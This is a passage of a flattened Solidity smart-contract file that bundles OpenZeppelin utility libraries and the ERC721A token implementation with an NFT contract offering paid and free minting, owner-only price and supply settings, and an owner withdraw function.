`*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // File: @openzeppelin/contracts/utils/Counters.sol pragma solidity ^0.8.0; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` */ library Counters { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } function reset(Counter storage counter) internal { counter._value = 0; } } // File: @openzeppelin/contracts/utils/Strings.sol pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/Context.sol pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: @openzeppelin/contracts/utils/Address.sol pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/utils/introspection/IERC165.sol pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Enumerable.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: ERC721A.sol // Creator: Chiru Labs pragma solidity ^0.8.0; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata and Enumerable extension. Built to optimize for lower gas during batch mints. * * Assumes serials are sequentially minted starting at 0 (e.g. 0, 1, 2, 3..). * * Does not support burning tokens to address(0). * * Assumes that an owner cannot have more than the 2**128 (max value of uint128) of supply */ contract ERC721A is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable { using Address for address; using Strings for uint256; struct TokenOwnership { address addr; uint64 startTimestamp; } struct AddressData { uint128 balance; uint128 numberMinted; } uint256 internal currentIndex = 0; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to ownership details // An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details. mapping(uint256 => TokenOwnership) internal _ownerships; // Mapping owner address to address data mapping(address => AddressData) private _addressData; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view override returns (uint256) { return currentIndex; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view override returns (uint256) { require(index < totalSupply(), 'ERC721A: global index out of bounds'); return index; } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. * This read function is O(totalSupply). If calling from a separate contract, be sure to test gas first. * It may also degrade with extremely large collection sizes (e.g >> 10000), test for your use case. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) { require(index < balanceOf(owner), 'ERC721A: owner index out of bounds'); uint256 numMintedSoFar = totalSupply(); uint256 tokenIdsIdx = 0; address currOwnershipAddr = address(0); for (uint256 i = 0; i < numMintedSoFar; i++) { TokenOwnership memory ownership = _ownerships[i]; if (ownership.addr != address(0)) { currOwnershipAddr = ownership.addr; } if (currOwnershipAddr == owner) { if (tokenIdsIdx == index) { return i; } tokenIdsIdx++; } } revert('ERC721A: unable to get token of owner by index'); } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view override returns (uint256) { require(owner != address(0), 'ERC721A: balance query for the zero address'); return uint256(_addressData[owner].balance); } function _numberMinted(address owner) internal view returns (uint256) { require(owner != address(0), 'ERC721A: number minted query for the zero address'); return uint256(_addressData[owner].numberMinted); } function ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) { require(_exists(tokenId), 'ERC721A: owner query for nonexistent token'); for (uint256 curr = tokenId; ; curr--) { TokenOwnership memory ownership = _ownerships[curr]; if (ownership.addr != address(0)) { return ownership; } } revert('ERC721A: unable to determine the owner of token'); } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view override returns (address) { return ownershipOf(tokenId).addr; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), 'ERC721Metadata: URI query for nonexistent token'); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ''; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ''; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public override { address owner = ERC721A.ownerOf(tokenId); require(to != owner, 'ERC721A: approval to current owner'); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), 'ERC721A: approve caller is not owner nor approved for all' ); _approve(to, tokenId, owner); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view override returns (address) { require(_exists(tokenId), 'ERC721A: approved query for nonexistent token'); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public override { require(operator != _msgSender(), 'ERC721A: approve to caller'); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public override { _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public override { safeTransferFrom(from, to, tokenId, ''); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public override { _transfer(from, to, tokenId); require( _checkOnERC721Received(from, to, tokenId, _data), 'ERC721A: transfer to non ERC721Receiver implementer' ); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), */ function _exists(uint256 tokenId) internal view returns (bool) { return tokenId < currentIndex; } function _safeMint(address to, uint256 quantity) internal { _safeMint(to, quantity, ''); } /** * @dev Mints `quantity` tokens and transfers them to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `quantity` cannot be larger than the max batch size. * * Emits a {Transfer} event. */ function _safeMint( address to, uint256 quantity, bytes memory _data ) internal { uint256 startTokenId = currentIndex; require(to != address(0), 'ERC721A: mint to the zero address'); // We know if the first token in the batch doesn't exist, the other ones don't as well, because of serial ordering. require(!_exists(startTokenId), 'ERC721A: token already minted'); require(quantity > 0, 'ERC721A: quantity must be greater 0'); _beforeTokenTransfers(address(0), to, startTokenId, quantity); AddressData memory addressData = _addressData[to]; _addressData[to] = AddressData( addressData.balance + uint128(quantity), addressData.numberMinted + uint128(quantity) ); _ownerships[startTokenId] = TokenOwnership(to, uint64(block.timestamp)); uint256 updatedIndex = startTokenId; for (uint256 i = 0; i < quantity; i++) { emit Transfer(address(0), to, updatedIndex); require( _checkOnERC721Received(address(0), to, updatedIndex, _data), 'ERC721A: transfer to non ERC721Receiver implementer' ); updatedIndex++; } currentIndex = updatedIndex; _afterTokenTransfers(address(0), to, startTokenId, quantity); } /** * @dev Transfers `tokenId` from `from` to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) private { TokenOwnership memory prevOwnership = ownershipOf(tokenId); bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr || getApproved(tokenId) == _msgSender() || isApprovedForAll(prevOwnership.addr, _msgSender())); require(isApprovedOrOwner, 'ERC721A: transfer caller is not owner nor approved'); require(prevOwnership.addr == from, 'ERC721A: transfer from incorrect owner'); require(to != address(0), 'ERC721A: transfer to the zero address'); _beforeTokenTransfers(from, to, tokenId, 1); // Clear approvals from the previous owner _approve(address(0), tokenId, prevOwnership.addr); // Underflow of the sender's balance is impossible because we check for // ownership above and the recipient's balance can't realistically overflow. unchecked { _addressData[from].balance -= 1; _addressData[to].balance += 1; } _ownerships[tokenId] = TokenOwnership(to, uint64(block.timestamp)); // If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it. // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls. uint256 nextTokenId = tokenId + 1; if (_ownerships[nextTokenId].addr == address(0)) { if (_exists(nextTokenId)) { _ownerships[nextTokenId] = TokenOwnership(prevOwnership.addr, prevOwnership.startTimestamp); } } emit Transfer(from, to, tokenId); _afterTokenTransfers(from, to, tokenId, 1); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve( address to, uint256 tokenId, address owner ) private { _tokenApprovals[tokenId] = to; emit Approval(owner, to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert('ERC721A: transfer to non ERC721Receiver implementer'); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. */ function _beforeTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} /** * @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes * minting. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - when `from` and `to` are both non-zero. * - `from` and `to` are never both zero. */ function _afterTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} } // File: NFT.sol pragma solidity ^0.8.7; contract NFT is ERC721A, Ownable, ReentrancyGuard { using Counters for Counters.Counter; using SafeMath for uint256; uint256 private _mintCost; uint256 private _maxSupply; bool private _isPublicMintEnabled; uint256 private _freeSupply; uint256 private _freeMintLimit; /** * @dev Initializes the contract setting the `tokenName` and `symbol` of the nft, `cost` of each mint call, and maximum `supply` of the nft. * Note: `cost` is in wei. */ constructor(string memory tokenName, string memory symbol, uint256 cost, uint256 supply) ERC721A(tokenName, symbol) Ownable() { _mintCost = cost; _maxSupply = supply; _isPublicMintEnabled = false; _freeSupply = 0; _freeMintLimit = 1; } /** * @dev Changes contract state to enable public access to `mintTokens` function * Can only be called by the current owner. */ function allowPublicMint() public onlyOwner{ _isPublicMintEnabled = true; } /** * @dev Changes contract state to disable public access to `mintTokens` function * Can only be called by the current owner. */ function denyPublicMint() public onlyOwner{ _isPublicMintEnabled = false; } /** * @dev Mint `count` tokens if requirements are satisfied. * */ function mintTokens(uint256 count) public payable nonReentrant{ require(_isPublicMintEnabled, "Mint disabled"); require(count > 0 && count <= 100, "You can drop minimum 1, maximum 100 NFTs"); require(count.add(totalSupply()) <= _maxSupply, "Exceeds max supply"); require(owner() == msg.sender || msg.value >= _mintCost.mul(count), "Ether value sent is below the price"); _mint(msg.sender, count); } /** * @dev Mint a token to each Address of `recipients`. * Can only be called if requirements are satisfied. */ function mintTokens(address[] calldata recipients) public payable nonReentrant{ require(recipients.length>0,"Missing recipient addresses"); require(owner() == msg.sender || _isPublicMintEnabled, "Mint disabled"); require(recipients.length > 0 && recipients.length <= 100, "You can drop minimum 1, maximum 100 NFTs"); require(recipients.length.add(totalSupply()) <= _maxSupply, "Exceeds max supply"); require(owner() == msg.sender || msg.value >= _mintCost.mul(recipients.length), "Ether value sent is below the price"); for(uint i=0; i<recipients.length; i++){ _mint(recipients[i], 1); } } /** * @dev Mint `count` tokens if requirements are satisfied. */ function freeMint(uint256 count) public payable nonReentrant{ require(owner() == msg.sender || _isPublicMintEnabled, "Mint disabled"); require(totalSupply() + count <= _freeSupply, "Exceed max free supply"); require(count <= _freeMintLimit, "Cant mint more than mint limit"); require(count > 0, "Must mint at least 1 token"); _safeMint(msg.sender, count); } /** * @dev Update the cost to mint a token. * Can only be called by the current owner. */ function setCost(uint256 cost) public onlyOwner{ _mintCost = cost; } /** * @dev Update the max supply. * Can only be called by the current owner. */ function setMaxSupply(uint256 max) public onlyOwner{ _maxSupply = max; } /** * @dev Update the max free supply. * Can only be called by the current owner. */ function setFreeSupply(uint256 max) public onlyOwner{ _freeSupply = max; } /** * @dev Update the free mint transaction limit. * Can only be called by the current owner. */ function setFreeMintLimit(uint256 max) public onlyOwner{ _freeMintLimit = max; } /** * @dev Transfers contract balance to contract owner. * Can only be called by the current owner. */ function withdraw() public onlyOwner{ payable(owner()).transfer(address(this).balance); } /** * @dev Used by public mint functions and by owner functions. * Can only be called internally by other functions. */ function _mint(address to, uint256 count) internal virtual returns (uint256){ _safeMint(to, count); return count; } function getState() public view returns (bool, uint256, uint256, uint256, uint256, uint256){ return (_isPublicMintEnabled, _mintCost, _maxSupply, totalSupply(), _freeSupply, _freeMintLimit); } function getCost() public view returns (uint256){ return _mintCost; } function getMaxSupply() public view 